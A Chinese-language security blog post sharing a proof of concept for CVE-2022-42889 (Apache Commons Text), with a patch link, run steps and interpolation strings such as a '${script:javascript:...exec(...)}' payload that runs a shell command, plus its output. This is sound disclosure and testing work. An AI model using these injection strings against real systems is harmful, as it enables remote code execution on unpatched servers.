【CVE-2022-42889】Apache Commons Text 代码注入漏洞POC

作者:Sec-Labs | 发布时间:

漏洞信息

Apache Commons Text 代码注入漏洞

Apache Commons Text是美国阿帕奇(Apache)基金会的一个专注于字符串算法的库。

Apache Commons Text 1.5至1.9版本存在安全漏洞,该漏洞源于默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器,可能容易受到远程代码执行或与远程服务器的无意接触的影响。

修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om

 

POC

这是CVE-2022-42889漏洞的概念证明。这段代码将运行JavaScript代码195 + 324。如果有漏洞,输出应该是。

PoC Output: 519

为了运行它,你需要。

  • JDK 11或以上
  • Maven

当提示你输入漏洞字符串时,你可以提供自己的漏洞字符串(并点击回车键输入字符串),或者直接点击回车键,使用默认的漏洞字符串${script:javascript:195 + 324}

Docker

另外,你也可以使用Docker来运行这个PoC

docker build -t poc .
docker run -it poc

问题是什么?

这个问题源于以下事实:默认情况下,以下键不应该被插值(根据文档https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html)

  • script
  • dns
  • url

脚本

这种查询允许所提供的JavaScript代码被执行。其结果是攻击者能够在系统上任意编码。

 

格式

${script:<engine>:<code>}

例子

${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

在PoC中的例子

Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

项目地址

https://github.com/SeanWrightSec/CVE-2022-42889-PoC

 

标签:工具分享, 漏洞分享